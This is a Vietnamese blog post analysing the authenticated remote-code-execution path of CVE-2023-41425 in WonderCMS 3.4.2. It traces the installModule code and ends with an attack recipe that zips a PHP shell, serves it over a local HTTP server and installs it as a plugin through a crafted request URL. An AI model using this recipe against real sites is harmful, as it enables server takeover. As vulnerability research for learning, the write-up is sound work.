CVE-2023–41425 but only RCE part

CVE-2023–41425

Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót. 

----------------------------------------------------------------------------------------------------------------------------

Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain

Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này. 

Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này.
-> cần xác thực
Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn
Hàm này sẽ hoạt động như nào, hãy cùng phân tích
Dòng 1536->1538 kiểm tra có tồn tại tham số installModule, directoryName, type hay không, đồng thời cũng có hàm verifyFormAction để check liệu account đã đăng nhập hay chưa. Nếu tất cả thỏa yêu cầu sẽ xuống dưới còn không thì return.
Hàm verifyFormAction này sẽ nhận một tham số token và sẽ kiểm tra token đã được verified hay chưa. 
Yc: phải có 4 tham số installModule, directoryName, type, token. Trong đó token là token của admin đã được verified mới có thể tiếp tục.

Nói nhanh phần Token thì mình Ctrl + U để tìm

Dòng 1547 yêu cầu $type là plugins hoặc là themes mới thực hiện dòng if phía dưới


Từ dòng 1548->1556, nó sẽ tạo 1 file ảo /ZIPFromURL.zip với context lấy từ $url chúng ta truyền vào qua tham số installModule và lưu tại đường dẫn sau C:\laragon\www\cms\wondercms\data\files\ZIPFromURL.zip
Mình sẽ  port 1234 để test 1 file zip:
python -m http.server 1234
Từ dòng 1557-> 1563, nó sẽ kiểm tra $url có đuôi .zip hay không, curl có lỗi hay không, file zip có open được không. Nếu một trong những cái này không thỏa thì báo lỗi và xóa file ảo trước đó -> url cần upload phải là 1 file zip
Nếu tất cả đều thỏa, nó sẽ xóa plugin cũ tại thư mục /plugins/<do_chúng_ta_điều_khiển_qua_directoryName> rồi tiếp tục unzip cái url tại đường dẫn /plugins và xóa cái file ảo kia.
Mấy cái phía sau không quan trọng nên mình skip.
Ý tưởng tấn công như sau: 
+) Tạo 1 file shell.php rồi zip nó lại
+) send với tham số sau: http://localhost/cms/wondercms/?installModule=http://localhost:1234/shell.zip&directoryName=konchancute&type=plugins&token=6fb15f391f65d2d8fa734ce551f69db21264aec16ddc9479f2500cd974fbc434
Sau đó file sẽ được lưu trên plugins, h thì trigger để rce thôi :v
Phần xss thì mình không đề cập vì mình không thích, đơn giản thế thôi
---------------------------------------------------------
Cảm ơn mọi người đã dành thời gian đọc, nhớ cho mình 1 comment để có thêm động lực nhé



Nhận xét

Bài đăng phổ biến từ blog này

KMACTF và nỗi buồn éo làm được gì cả T__T